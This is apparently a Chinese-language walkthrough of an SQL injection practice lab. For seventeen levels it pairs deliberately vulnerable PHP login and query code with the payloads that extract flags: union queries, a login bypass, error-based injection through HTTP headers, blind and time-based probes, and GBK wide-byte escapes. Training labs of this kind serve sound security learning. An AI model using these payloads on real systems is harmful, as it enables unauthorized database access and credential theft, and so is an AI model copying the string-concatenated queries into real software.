前言
pass-01
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$username = '' ; $password = '' ; @$id = $_GET['id' ]; @$sql = 'select *from user where id=' .$id; mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $username = $row['username' ]; $password = $row['password' ]; } echo 'Your Login name:' .$username;echo 'Your Password:' .$password;
查表 拓展: 1 and exists(select * from user)这种形式可以猜解表是否存在
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http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1 ,2 ,group_concat (table_name) from information_schema.tables where table_schema=database ();
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http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1 ,2 ,group_concat (column_name) from f.columns where table_schema=database () and table_name=0x6572726f725f666c6167 ; //0x6572726f725f666c6167是error_flag的十六进制
1
http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1 ,2 ,flag from error_flag;
pass-02
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$username = '' ; $password = '' ; @$id = $_GET['id' ]; @$sql = 'select *from user where id=' \'' .$id.'\'' ; mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $username = $row['username' ]; $password = $row['password' ]; } echo 'Your Login name:' .$username;echo 'Your Password:' .$password;
给id传参加了个单引号,和上题一样的做法差不多,就是1后面加个’来闭合源代码中的单引号,再加个#号url编码也就是%23注释掉后面的单引号,也就可以联合查询了
1
http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1' union all select 1 ,2 ,flag from error_flag %23 ;
pass-03
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sername = '' ; $password = '' ; @$id = $_GET['id' ]; @$sql = 'select *from user where id=' (\'' .$id.'\')' ; mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $username = $row['username' ]; $password = $row['password' ]; } echo 'Your Login name:' .$username;echo 'Your Password:' .$password;
上题id是’id’这题是加了个括号(‘id’),不过意思不变,同样是进行构造’)在1后面然后利用注释符#来绕过也就是%23
1
http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1') union all select 1 ,2 ,flag from error_flag %23 ;
pass-04
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$username = '' ; $password = '' ; @$id = $_GET['id' ]; @$sql = 'select *from user where id=("' .$id.'")' ; mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $username = $row['username' ]; $password = $row['password' ]; } echo 'Your Login name:' .$username;echo 'Your Password:' .$password;
pass-05
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$username = $_POST['username' ]; $password = $_POST['password' ]; $sql = 'select *from user where username =\'' .$username.'\' and password=\'' .$password.'\'' ; mysqli_select_db($conn,'******' ); $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); $uname = $row['username' ]; $passwd = $row['password' ]; if ($row){echo '成功登录Your Login name:' .$uname.'Your Password:' .$passwd.'' ;}else {echo '账号密码错误' ;}
先用万能密码登陆,获取账号和密码,然后再post注入,利用联合查询生成其他的账号和密码使回显成功,最后用limit 1,1 显示第二行也就是我们联合查询加入进去的账号和密码,然后再注入和上面四题没区别
1
username=admin&password=as4dsa2dsad2a3' union all select 1 ,2 ,3 limit 1 ,1
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username=admin&password=as4dsa2dsad2a3' union all select 1 ,2 ,group_concat (table_name) from information_schema.tables where table_schema=database () limit 1 ,1
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username=admin&password=as4dsa2dsad2a3' union all select 1 ,2 ,group_concat (column_name) from information_schema.columns where table_schema=database () and table_name='flag' limit 1 ,1
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username=admin&password=as4dsa2dsad2a3' union all select 1,2,flag from flag limit 1,1#
pass-06
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$username = $_POST['username' ]; $password = $_POST['password' ]; $sql = 'select *from user where username =("' .$username.'") and password=("' .$password.'")' ; mysqli_select_db($conn,'******' ); $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); $uname = $row['username' ]; $passwd = $row['password' ]; if ($row){echo '成功登录Your Login name:' .$uname.'Your Password:' .$passwd.'' ;}else {echo '账号密码错误' ;}
1
username=admin&password=as4dsa2dsad2a3") union all select 1 ,2 ,flag from flag limit 1 ,1
pass-07
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$username = $_POST['username' ]; $password = $_POST['password' ]; $uagent = $_SERVER['HTTP_USER_AGENT' ]; $jc = $username.$password; $sql = 'select *from user where username =\'' .$username.'\' and password=\'' .$password.'\'' ; if (preg_match('/.*\'.*/' ,$jc)!== 0 ){die ('为了网站安全性,禁止输入某些特定符号' );}mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); $uname = $row['username' ]; $passwd = $row['password' ]; if ($row){$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')" ; $result1 = mysqli_query($conn,$Insql); print_r(mysqli_error($conn)); echo '成功登录' ;
过滤了单引号,万能密码登陆没用了,看到user_agent的head头中被安插在插入语句中,可以直接sqlmap跑*加包,或者第二种方法用burp跑出密码登陆,再UA中填updatexml来报错直接页面上显示uA中语句错误,第一种方法无脑,就不做了
账号和密码是admin和123456,看源码得知,必须登陆才能执行user-agent下面的语句,$row必须不为空,所以想要报错注入,就必须能登陆成功
拼接一个完整的insert 并且在其中写一个updatexml报错注入
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'or updatexml(1,concat(0x7e,user()),1),1)
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'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database () limit 0 ,1 )),1 ),1 )
1
'or updatexml(1,concat(0x7e,(select group_concat (column_name) from information_schema.columns where table_schema=database () and table_name='flag_head' )),1 ),1 )
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'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#
pass-08
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$username = $_POST['username' ]; $password = $_POST['password' ]; $uagent = $_SERVER['HTTP_REFERER' ]; $jc = $username.$password; $sql = 'select *from user where username =\'' .$username.'\' and password=\'' .$password.'\'' ; if (preg_match('/.*\'.*/' ,$jc)!== 0 ){die ('为了网站安全性,禁止输入某些特定符号' );}mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); $uname = $row['username' ]; $passwd = $row['password' ]; if ($row){$Insql = "INSERT INTO refer (`refer`,`username`) VALUES ('$uagent','$uname')" ; $result1 = mysqli_query($conn,$Insql); print_r(mysqli_error($conn)); echo '成功登录' ;
就是head头中user-agent的插入换成了refer
1
Referer: 'or updatexml(1,concat(0x7e,(select group_concat (flag_h1) from flag_head)),1 ),1 )
pass-09
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function getip () { if (getenv('HTTP_CLIENT_IP' )) { $ip = getenv('HTTP_CLIENT_IP' ); } elseif (getenv('HTTP_X_FORWARDED_FOR' )) { $ip = getenv('HTTP_X_FORWARDED_FOR' ); } elseif (getenv('HTTP_X_FORWARDED' )) { $ip = getenv('HTTP_X_FORWARDED' ); } elseif (getenv('HTTP_FORWARDED_FOR' )) { $ip = getenv('HTTP_FORWARDED_FOR' ); } elseif (getenv('HTTP_FORWARDED' )) { $ip = getenv('HTTP_FORWARDED' ); } else { $ip = $_SERVER['REMOTE_ADDR' ]; } return $ip; } $username = $_POST['username' ]; $password = $_POST['password' ]; $ip = getip(); $jc = $username.$password; $sql = 'select *from user where username =\'' .$username.'\' and password=\'' .$password.'\'' ; if (preg_match('/.*\'.*/' ,$jc)!== 0 ){die ('为了网站安全性,禁止输入某些特定符号' );}mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); $uname = $row['username' ]; $passwd = $row['password' ]; if ($row){$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')" ; $result1 = mysqli_query($conn,$Insql); print_r(mysqli_error($conn)); echo '成功登录' ;
head头中记录我们访问ip的是X-FORWARDED-FOR,因为head头中有时是不显示的,我们自己加一个
1
X-FORWARDED-FOR: 'or updatexml(1,concat(0x7e,(select group_concat (flag_h1) from flag_head)),1 ),1 )
pass-10
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$news ='' ; @$id = $_GET['id' ]; @$sql = 'select *from news where id=' .$id; mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $news = $row['news' ]; } if ($news!== '' ){echo '有数据' ;}
length函数:
这个函数主要是用来测试字符串长度用,在盲注中是用来判断当前查询的字符串长度,例如数据库名,表名的长度。
substr函数:
1
SUBSTR(字符串内容,从哪截取,截取多长)
用于分割字符串,将字符串分割成单个,配合ASCII码测试单个字符到底是什么字符。
ascii函数:
返回字符的ascii码,将字符转变为数字,将字符都转变为数字,可利用数字大小趋向的特性进行大小比较,从而迅速判断出准确的字符内容。
再用substr从第一个字符的ascii码开始判断他为什么
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107 97 110 119 111 108 111 110 103 120 105 97
了解原理就好了,菜B的我还是sqlmap好用,暂时python脚本还不太会写
pass-11
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$news ='' ; @$id = $_GET['id' ]; @$sql = 'select *from news where id="' .$id.'"' ; mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $news = $row['news' ]; } if ($news!== '' ){echo '有数据' ;}
原理和上题一模一样就是需要加个单引号和末尾加个注释符%23也就是#
pass-12
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$username = $_POST['username' ]; $password = $_POST['password' ]; $sql = 'select *from user where username =\'' .$username.'\' and password=\'' .$password.'\'' ; mysqli_select_db($conn,'******' ); $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); $uname = $row['username' ]; $passwd = $row['password' ]; if ($row){echo '成功登录' ;}else {echo '账号密码错误' ;}
pass-13
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$news ='' ; @$id = $_GET['id' ]; @$sql = 'select *from news where id="' .$id.'"' ; mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $news = $row['news' ]; } echo '有数据' ;
1
1" and if(ascii(substr(database(),1,1))>1,sleep(1),1)%23
pass-14
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$news ='' ; @$id = $_GET['id' ]; @$sql = 'select *from news where id=(\'' .$id.'\')' ; mysqli_select_db($conn,'****' ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $news = $row['news' ]; } echo '有数据' ;
1
http://inject2.lab.aqlab.cn:81/Pass-14/index.php?id=1') and if(ascii(substr(database(),1,1))>1,sleep(5),1)%23
pass-15
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$username = '' ; $password = '' ; @$id = addslashes($_GET['id' ]); @$sql = 'select *from user where id=\'' .$id.'\'' ; mysqli_select_db($conn,'****' ); mysqli_query($conn,"SET NAMES gbk" ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $username = $row['username' ]; $password = $row['password' ]; } echo 'Your Login name:' .$username;echo 'Your Password:' .$password;
可以发现有addslashes函数导致我们输入的一些单双引号前面加了个右斜线\,由于右斜线的url编码是%5c,%df%5c会组成一个特殊汉字来进行逃逸,
因为GBK编码默认两个字符为一个汉字, 我们可以通过输入宽字符%df使反斜杠和这个%df形成一个汉字,这样后面的单引号就不会被转义而达到逃逸的效果
1
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' union all select 1 ,2 ,3 %23
pass-16
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$username = '' ; $password = '' ; @$id = addslashes($_GET['id' ]); @$sql = 'select *from user where id=("' .$id.'")' ; mysqli_select_db($conn,'****' ); mysqli_query($conn,"SET NAMES gbk" ); $result = mysqli_query($conn,$sql); while ($row = mysqli_fetch_array($result)){ $username = $row['username' ]; $password = $row['password' ]; } echo 'Your Login name:' .$username;echo 'Your Password:' .$password;
1
http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1%df") union all select 1 ,2 ,3 %23
pass-17
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$username = addslashes($_POST['username' ]); $password = addslashes($_POST['password' ]); $sql = 'select *from user where username =(\'' .$username.'\') and password=(\'' .$password.'\')' ; mysqli_select_db($conn,'******' ); mysqli_query($conn,"SET NAMES gbk" ); $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); if ($row){echo '成功登录' ;}else {echo '账号密码错误' ;}
这题是个盲注,但是我还是说一下,post传参由于没有url解码,所以宽字节注入得换个参数,比如“汉”这个字和右下划线组成一个汉字也是可以逃逸的。
因为是盲注所以嘿嘿,抓包,存123.txt,注意:一定要抓我们自己成功构造登陆的形式加*来让sqlmap跑,不然可能跑不出来
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FROM:gylq.gitee Author:孤桜懶契
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